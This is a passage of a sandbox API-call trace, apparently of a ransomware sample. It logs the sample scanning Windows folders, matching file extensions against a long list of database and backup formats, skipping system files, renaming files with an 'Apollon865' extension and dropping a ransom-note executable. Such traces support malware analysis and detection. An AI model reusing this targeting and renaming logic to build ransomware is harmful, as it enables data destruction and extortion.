	[0062.924] lstrcmpiW (lpString1="[1]", lpString2="rpd") returned -1
	[0062.924] lstrlenW (lpString="rsd") returned 3
	[0062.924] lstrcmpiW (lpString1="[1]", lpString2="rsd") returned -1
	[0062.924] lstrlenW (lpString="sas7bdat") returned 8
	[0062.924] lstrcmpiW (lpString1="wlink[1]", lpString2="sas7bdat") returned 1
	[0062.924] lstrlenW (lpString="sbf") returned 3
	[0062.924] lstrcmpiW (lpString1="[1]", lpString2="sbf") returned -1
	[0062.924] lstrlenW (lpString="scx") returned 3
	[0062.924] lstrcmpiW (lpString1="[1]", lpString2="scx") returned -1
	[0062.924] lstrlenW (lpString="sdb") returned 3
	[0062.925] lstrcmpiW (lpString1="[1]", lpString2="sdb") returned -1
	[0062.925] lstrlenW (lpString="sdc") returned 3
	[0062.925] lstrcmpiW (lpString1="[1]", lpString2="sdc") returned -1
	[0062.925] lstrlenW (lpString="sdf") returned 3
	[0062.925] lstrcmpiW (lpString1="[1]", lpString2="sdf") returned -1
	[0062.925] lstrlenW (lpString="sis") returned 3
	[0062.925] lstrcmpiW (lpString1="[1]", lpString2="sis") returned -1
	[0062.925] lstrlenW (lpString="spq") returned 3
	[0062.925] lstrcmpiW (lpString1="[1]", lpString2="spq") returned -1
	[0062.925] lstrlenW (lpString="te") returned 2
	[0062.925] lstrcmpiW (lpString1="1]", lpString2="te") returned -1
	[0062.925] lstrlenW (lpString="teacher") returned 7
	[0062.925] lstrcmpiW (lpString1="link[1]", lpString2="teacher") returned -1
	[0062.925] lstrlenW (lpString="tmd") returned 3
	[0062.925] lstrcmpiW (lpString1="[1]", lpString2="tmd") returned -1
	[0062.925] lstrlenW (lpString="tps") returned 3
	[0062.925] lstrcmpiW (lpString1="[1]", lpString2="tps") returned -1
	[0062.925] lstrlenW (lpString="trc") returned 3
	[0062.925] lstrcmpiW (lpString1="[1]", lpString2="trc") returned -1
	[0062.925] lstrlenW (lpString="trc") returned 3
	[0062.925] lstrcmpiW (lpString1="[1]", lpString2="trc") returned -1
	[0062.925] lstrlenW (lpString="trm") returned 3
	[0062.925] lstrcmpiW (lpString1="[1]", lpString2="trm") returned -1
	[0062.925] lstrlenW (lpString="udb") returned 3
	[0062.925] lstrcmpiW (lpString1="[1]", lpString2="udb") returned -1
	[0062.925] lstrlenW (lpString="udl") returned 3
	[0062.925] lstrcmpiW (lpString1="[1]", lpString2="udl") returned -1
	[0062.925] lstrlenW (lpString="usr") returned 3
	[0062.925] lstrcmpiW (lpString1="[1]", lpString2="usr") returned -1
	[0062.925] lstrlenW (lpString="v12") returned 3
	[0062.925] lstrcmpiW (lpString1="[1]", lpString2="v12") returned -1
	[0062.925] lstrlenW (lpString="vis") returned 3
	[0062.925] lstrcmpiW (lpString1="[1]", lpString2="vis") returned -1
	[0062.925] lstrlenW (lpString="vpd") returned 3
	[0062.926] lstrcmpiW (lpString1="[1]", lpString2="vpd") returned -1
	[0062.926] lstrlenW (lpString="vvv") returned 3
	[0062.926] lstrcmpiW (lpString1="[1]", lpString2="vvv") returned -1
	[0062.926] lstrlenW (lpString="wdb") returned 3
	[0062.926] lstrcmpiW (lpString1="[1]", lpString2="wdb") returned -1
	[0062.926] lstrlenW (lpString="wmdb") returned 4
	[0062.926] lstrcmpiW (lpString1="k[1]", lpString2="wmdb") returned -1
	[0062.926] lstrlenW (lpString="wrk") returned 3
	[0062.926] lstrcmpiW (lpString1="[1]", lpString2="wrk") returned -1
	[0062.926] lstrlenW (lpString="xdb") returned 3
	[0062.926] lstrcmpiW (lpString1="[1]", lpString2="xdb") returned -1
	[0062.926] lstrlenW (lpString="xld") returned 3
	[0062.926] lstrcmpiW (lpString1="[1]", lpString2="xld") returned -1
	[0062.926] lstrlenW (lpString="xmlff") returned 5
	[0062.926] lstrcmpiW (lpString1="nk[1]", lpString2="xmlff") returned -1
	[0062.926] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1].Apollon865") returned 82
	[0062.926] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\fwlink[1]"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1].Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\fwlink[1].apollon865"), dwFlags=0x1) returned 1
	[0062.927] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1].Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\fwlink[1].apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0062.927] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=0) returned 1
	[0062.927] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0062.927] CloseHandle (hObject=0x0) returned 0
	[0062.927] CloseHandle (hObject=0x118) returned 1
	[0062.927] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f25a750, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f25a750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.927] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.927] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f25a750, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f25a750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0062.927] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0062.927] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a90
	[0062.927] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds"
	[0062.927] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5798 | out: hHeap=0x580000) returned 1
	[0062.927] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0062.927] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds") returned 46
	[0062.927] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds"
	[0062.927] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.927] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0062.928] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0062.928] GetLastError () returned 0x0
	[0062.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0062.928] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0062.928] CloseHandle (hObject=0x15c) returned 1
	[0062.928] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0062.928] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.928] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2808b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2808b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.928] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.928] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.928] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.929] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2808b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2808b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.929] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.929] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.929] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.929] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.929] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff107f92, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms", cAlternateFileName="FEEDSS~1.FEE")) returned 1
	[0062.929] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.929] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="Apollon865.txt.exe") returned 1
	[0062.929] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2=".") returned 1
	[0062.929] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="..") returned 1
	[0062.929] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="windows") returned -1
	[0062.929] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="bootmgr") returned 1
	[0062.929] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="temp") returned -1
	[0062.929] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="pagefile.sys") returned -1
	[0062.929] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="boot") returned 1
	[0062.929] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="ids.txt") returned -1
	[0062.929] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="ntuser.dat") returned -1
	[0062.929] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="perflogs") returned -1
	[0062.929] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="MSBuild") returned -1
	[0062.929] lstrlenW (lpString="FeedsStore.feedsdb-ms") returned 21
	[0062.929] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\*") returned 48
	[0062.929] lstrcpyW (in: lpString1=0x119e666, lpString2="FeedsStore.feedsdb-ms" | out: lpString1="FeedsStore.feedsdb-ms") returned="FeedsStore.feedsdb-ms"
	[0062.929] lstrlenW (lpString="FeedsStore.feedsdb-ms") returned 21
	[0062.929] lstrlenW (lpString="Apollon865") returned 10
	[0062.929] lstrcmpiW (lpString1="feedsdb-ms", lpString2="Apollon865") returned 1
	[0062.929] lstrlenW (lpString=".dll") returned 4
	[0062.929] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2=".dll") returned 1
	[0062.929] lstrlenW (lpString=".lnk") returned 4
	[0062.929] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2=".lnk") returned 1
	[0062.929] lstrlenW (lpString=".ini") returned 4
	[0062.929] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2=".ini") returned 1
	[0062.930] lstrlenW (lpString=".sys") returned 4
	[0062.930] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2=".sys") returned 1
	[0062.930] lstrlenW (lpString="FeedsStore.feedsdb-ms") returned 21
	[0062.930] lstrlenW (lpString="bak") returned 3
	[0062.930] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1
	[0062.930] lstrlenW (lpString="ba_") returned 3
	[0062.930] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1
	[0062.930] lstrlenW (lpString="dbb") returned 3
	[0062.930] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1
	[0062.930] lstrlenW (lpString="vmdk") returned 4
	[0062.930] lstrcmpiW (lpString1="b-ms", lpString2="vmdk") returned -1
	[0062.930] lstrlenW (lpString="rar") returned 3
	[0062.930] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1
	[0062.930] lstrlenW (lpString="zip") returned 3
	[0062.930] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1
	[0062.930] lstrlenW (lpString="tgz") returned 3
	[0062.930] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1
	[0062.930] lstrlenW (lpString="vbox") returned 4
	[0062.930] lstrcmpiW (lpString1="b-ms", lpString2="vbox") returned -1
	[0062.930] lstrlenW (lpString="vdi") returned 3
	[0062.930] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1
	[0062.930] lstrlenW (lpString="vhd") returned 3
	[0062.930] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1
	[0062.930] lstrlenW (lpString="vhdx") returned 4
	[0062.930] lstrcmpiW (lpString1="b-ms", lpString2="vhdx") returned -1
	[0062.930] lstrlenW (lpString="avhd") returned 4
	[0062.930] lstrcmpiW (lpString1="b-ms", lpString2="avhd") returned 1
	[0062.930] lstrlenW (lpString="db") returned 2
	[0062.930] lstrcmpiW (lpString1="ms", lpString2="db") returned 1
	[0062.930] lstrlenW (lpString="db2") returned 3
	[0062.930] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1
	[0062.930] lstrlenW (lpString="db3") returned 3
	[0062.930] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1
	[0062.930] lstrlenW (lpString="dbf") returned 3
	[0062.931] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1
	[0062.931] lstrlenW (lpString="mdf") returned 3
	[0062.931] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1
	[0062.931] lstrlenW (lpString="mdb") returned 3
	[0062.931] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1
	[0062.931] lstrlenW (lpString="sql") returned 3
	[0062.931] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1
	[0062.931] lstrlenW (lpString="sqlite") returned 6
	[0062.931] lstrcmpiW (lpString1="sdb-ms", lpString2="sqlite") returned -1
	[0062.931] lstrlenW (lpString="sqlite3") returned 7
	[0062.931] lstrcmpiW (lpString1="dsdb-ms", lpString2="sqlite3") returned -1
	[0062.931] lstrlenW (lpString="sqlitedb") returned 8
	[0062.931] lstrcmpiW (lpString1="edsdb-ms", lpString2="sqlitedb") returned -1
	[0062.931] lstrlenW (lpString="xml") returned 3
	[0062.931] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1
	[0062.931] lstrlenW (lpString="$er") returned 3
	[0062.931] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1
	[0062.931] lstrlenW (lpString="4dd") returned 3
	[0062.931] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1
	[0062.931] lstrlenW (lpString="4dl") returned 3
	[0062.931] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1
	[0062.931] lstrlenW (lpString="^^^") returned 3
	[0062.931] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1
	[0062.931] lstrlenW (lpString="abs") returned 3
	[0062.931] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1
	[0062.931] lstrlenW (lpString="abx") returned 3
	[0062.931] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1
	[0062.931] lstrlenW (lpString="accdb") returned 5
	[0062.931] lstrcmpiW (lpString1="db-ms", lpString2="accdb") returned 1
	[0062.931] lstrlenW (lpString="accdc") returned 5
	[0062.931] lstrcmpiW (lpString1="db-ms", lpString2="accdc") returned 1
	[0062.931] lstrlenW (lpString="accde") returned 5
	[0062.931] lstrcmpiW (lpString1="db-ms", lpString2="accde") returned 1
	[0062.932] lstrlenW (lpString="accdr") returned 5
	[0062.932] lstrcmpiW (lpString1="db-ms", lpString2="accdr") returned 1
	[0062.932] lstrlenW (lpString="accdt") returned 5
	[0062.932] lstrcmpiW (lpString1="db-ms", lpString2="accdt") returned 1
	[0062.932] lstrlenW (lpString="accdw") returned 5
	[0062.932] lstrcmpiW (lpString1="db-ms", lpString2="accdw") returned 1
	[0062.932] lstrlenW (lpString="accft") returned 5
	[0062.932] lstrcmpiW (lpString1="db-ms", lpString2="accft") returned 1
	[0062.932] lstrlenW (lpString="adb") returned 3
	[0062.932] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0062.932] lstrlenW (lpString="adb") returned 3
	[0062.932] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0062.932] lstrlenW (lpString="ade") returned 3
	[0062.932] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1
	[0062.932] lstrlenW (lpString="adf") returned 3
	[0062.932] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1
	[0062.932] lstrlenW (lpString="adn") returned 3
	[0062.932] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1
	[0062.932] lstrlenW (lpString="adp") returned 3
	[0062.932] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1
	[0062.932] lstrlenW (lpString="alf") returned 3
	[0062.932] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1
	[0062.932] lstrlenW (lpString="ask") returned 3
	[0062.932] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1
	[0062.932] lstrlenW (lpString="btr") returned 3
	[0062.932] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1
	[0062.932] lstrlenW (lpString="cat") returned 3
	[0062.932] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1
	[0062.932] lstrlenW (lpString="cdb") returned 3
	[0062.932] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1
	[0062.932] lstrlenW (lpString="ckp") returned 3
	[0062.932] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1
	[0062.932] lstrlenW (lpString="cma") returned 3
	[0062.932] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1
	[0062.932] lstrlenW (lpString="cpd") returned 3
	[0062.933] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1
	[0062.933] lstrlenW (lpString="dacpac") returned 6
	[0062.933] lstrcmpiW (lpString1="sdb-ms", lpString2="dacpac") returned 1
	[0062.933] lstrlenW (lpString="dad") returned 3
	[0062.933] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1
	[0062.933] lstrlenW (lpString="dadiagrams") returned 10
	[0062.933] lstrcmpiW (lpString1="feedsdb-ms", lpString2="dadiagrams") returned 1
	[0062.933] lstrlenW (lpString="daschema") returned 8
	[0062.933] lstrcmpiW (lpString1="edsdb-ms", lpString2="daschema") returned 1
	[0062.933] lstrlenW (lpString="db-journal") returned 10
	[0062.933] lstrcmpiW (lpString1="feedsdb-ms", lpString2="db-journal") returned 1
	[0062.933] lstrlenW (lpString="db-shm") returned 6
	[0062.933] lstrcmpiW (lpString1="sdb-ms", lpString2="db-shm") returned 1
	[0062.933] lstrlenW (lpString="db-wal") returned 6
	[0062.933] lstrcmpiW (lpString1="sdb-ms", lpString2="db-wal") returned 1
	[0062.933] lstrlenW (lpString="dbc") returned 3
	[0062.933] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1
	[0062.933] lstrlenW (lpString="dbs") returned 3
	[0062.933] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1
	[0062.933] lstrlenW (lpString="dbt") returned 3
	[0062.933] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1
	[0062.933] lstrlenW (lpString="dbv") returned 3
	[0062.933] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1
	[0062.933] lstrlenW (lpString="dbx") returned 3
	[0062.933] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1
	[0062.933] lstrlenW (lpString="dcb") returned 3
	[0062.933] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1
	[0062.933] lstrlenW (lpString="dct") returned 3
	[0062.933] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1
	[0062.933] lstrlenW (lpString="dcx") returned 3
	[0062.933] lstrcmpiW (lpString1="-ms", lpString2="dcx") returned 1
	[0062.933] lstrlenW (lpString="ddl") returned 3
	[0062.933] lstrcmpiW (lpString1="-ms", lpString2="ddl") returned 1
	[0062.933] lstrlenW (lpString="dlis") returned 4
	[0062.934] lstrcmpiW (lpString1="b-ms", lpString2="dlis") returned -1
	[0062.934] lstrlenW (lpString="dp1") returned 3
	[0062.934] lstrcmpiW (lpString1="-ms", lpString2="dp1") returned 1
	[0062.934] lstrlenW (lpString="dqy") returned 3
	[0062.934] lstrcmpiW (lpString1="-ms", lpString2="dqy") returned 1
	[0062.934] lstrlenW (lpString="dsk") returned 3
	[0062.934] lstrcmpiW (lpString1="-ms", lpString2="dsk") returned 1
	[0062.934] lstrlenW (lpString="dsn") returned 3
	[0062.934] lstrcmpiW (lpString1="-ms", lpString2="dsn") returned 1
	[0062.934] lstrlenW (lpString="dtsx") returned 4
	[0062.934] lstrcmpiW (lpString1="b-ms", lpString2="dtsx") returned -1
	[0062.934] lstrlenW (lpString="dxl") returned 3
	[0062.934] lstrcmpiW (lpString1="-ms", lpString2="dxl") returned 1
	[0062.934] lstrlenW (lpString="eco") returned 3
	[0062.934] lstrcmpiW (lpString1="-ms", lpString2="eco") returned 1
	[0062.934] lstrlenW (lpString="ecx") returned 3
	[0062.934] lstrcmpiW (lpString1="-ms", lpString2="ecx") returned 1
	[0062.934] lstrlenW (lpString="edb") returned 3
	[0062.934] lstrcmpiW (lpString1="-ms", lpString2="edb") returned 1
	[0062.934] lstrlenW (lpString="epim") returned 4
	[0062.934] lstrcmpiW (lpString1="b-ms", lpString2="epim") returned -1
	[0062.934] lstrlenW (lpString="fcd") returned 3
	[0062.934] lstrcmpiW (lpString1="-ms", lpString2="fcd") returned 1
	[0062.934] lstrlenW (lpString="fdb") returned 3
	[0062.934] lstrcmpiW (lpString1="-ms", lpString2="fdb") returned 1
	[0062.934] lstrlenW (lpString="fic") returned 3
	[0062.934] lstrcmpiW (lpString1="-ms", lpString2="fic") returned 1
	[0062.934] lstrlenW (lpString="flexolibrary") returned 12
	[0062.934] lstrcmpiW (lpString1="e.feedsdb-ms", lpString2="flexolibrary") returned -1
	[0062.934] lstrlenW (lpString="fm5") returned 3
	[0062.934] lstrcmpiW (lpString1="-ms", lpString2="fm5") returned 1
	[0062.934] lstrlenW (lpString="fmp") returned 3
	[0062.934] lstrcmpiW (lpString1="-ms", lpString2="fmp") returned 1
	[0062.934] lstrlenW (lpString="fmp12") returned 5
	[0062.935] lstrcmpiW (lpString1="db-ms", lpString2="fmp12") returned -1
	[0062.935] lstrlenW (lpString="fmpsl") returned 5
	[0062.935] lstrcmpiW (lpString1="db-ms", lpString2="fmpsl") returned -1
	[0062.935] lstrlenW (lpString="fol") returned 3
	[0062.935] lstrcmpiW (lpString1="-ms", lpString2="fol") returned 1
	[0062.935] lstrlenW (lpString="fp3") returned 3
	[0062.935] lstrcmpiW (lpString1="-ms", lpString2="fp3") returned 1
	[0062.935] lstrlenW (lpString="fp4") returned 3
	[0062.935] lstrcmpiW (lpString1="-ms", lpString2="fp4") returned 1
	[0062.935] lstrlenW (lpString="fp5") returned 3
	[0062.935] lstrcmpiW (lpString1="-ms", lpString2="fp5") returned 1
	[0062.935] lstrlenW (lpString="fp7") returned 3
	[0062.935] lstrcmpiW (lpString1="-ms", lpString2="fp7") returned 1
	[0062.935] lstrlenW (lpString="fpt") returned 3
	[0062.935] lstrcmpiW (lpString1="-ms", lpString2="fpt") returned 1
	[0062.935] lstrlenW (lpString="frm") returned 3
	[0062.935] lstrcmpiW (lpString1="-ms", lpString2="frm") returned 1
	[0062.935] lstrlenW (lpString="gdb") returned 3
	[0062.935] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1
	[0062.935] lstrlenW (lpString="gdb") returned 3
	[0062.935] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1
	[0062.935] lstrlenW (lpString="grdb") returned 4
	[0062.935] lstrcmpiW (lpString1="b-ms", lpString2="grdb") returned -1
	[0062.935] lstrlenW (lpString="gwi") returned 3
	[0062.935] lstrcmpiW (lpString1="-ms", lpString2="gwi") returned 1
	[0062.935] lstrlenW (lpString="hdb") returned 3
	[0062.935] lstrcmpiW (lpString1="-ms", lpString2="hdb") returned 1
	[0062.935] lstrlenW (lpString="his") returned 3
	[0062.935] lstrcmpiW (lpString1="-ms", lpString2="his") returned 1
	[0062.935] lstrlenW (lpString="ib") returned 2
	[0062.935] lstrcmpiW (lpString1="ms", lpString2="ib") returned 1
	[0062.935] lstrlenW (lpString="idb") returned 3
	[0062.935] lstrcmpiW (lpString1="-ms", lpString2="idb") returned 1
	[0062.935] lstrlenW (lpString="ihx") returned 3
	[0062.935] lstrcmpiW (lpString1="-ms", lpString2="ihx") returned 1
	[0062.936] lstrlenW (lpString="itdb") returned 4
	[0062.936] lstrcmpiW (lpString1="b-ms", lpString2="itdb") returned -1
	[0062.936] lstrlenW (lpString="itw") returned 3
	[0062.936] lstrcmpiW (lpString1="-ms", lpString2="itw") returned 1
	[0062.936] lstrlenW (lpString="jet") returned 3
	[0062.936] lstrcmpiW (lpString1="-ms", lpString2="jet") returned 1
	[0062.936] lstrlenW (lpString="jtx") returned 3
	[0062.936] lstrcmpiW (lpString1="-ms", lpString2="jtx") returned 1
	[0062.936] lstrlenW (lpString="kdb") returned 3
	[0062.936] lstrcmpiW (lpString1="-ms", lpString2="kdb") returned 1
	[0062.936] lstrlenW (lpString="kexi") returned 4
	[0062.936] lstrcmpiW (lpString1="b-ms", lpString2="kexi") returned -1
	[0062.936] lstrlenW (lpString="kexic") returned 5
	[0062.936] lstrcmpiW (lpString1="db-ms", lpString2="kexic") returned -1
	[0062.936] lstrlenW (lpString="kexis") returned 5
	[0062.936] lstrcmpiW (lpString1="db-ms", lpString2="kexis") returned -1
	[0062.936] lstrlenW (lpString="lgc") returned 3
	[0062.936] lstrcmpiW (lpString1="-ms", lpString2="lgc") returned 1
	[0062.936] lstrlenW (lpString="lwx") returned 3
	[0062.936] lstrcmpiW (lpString1="-ms", lpString2="lwx") returned 1
	[0062.936] lstrlenW (lpString="maf") returned 3
	[0062.936] lstrcmpiW (lpString1="-ms", lpString2="maf") returned 1
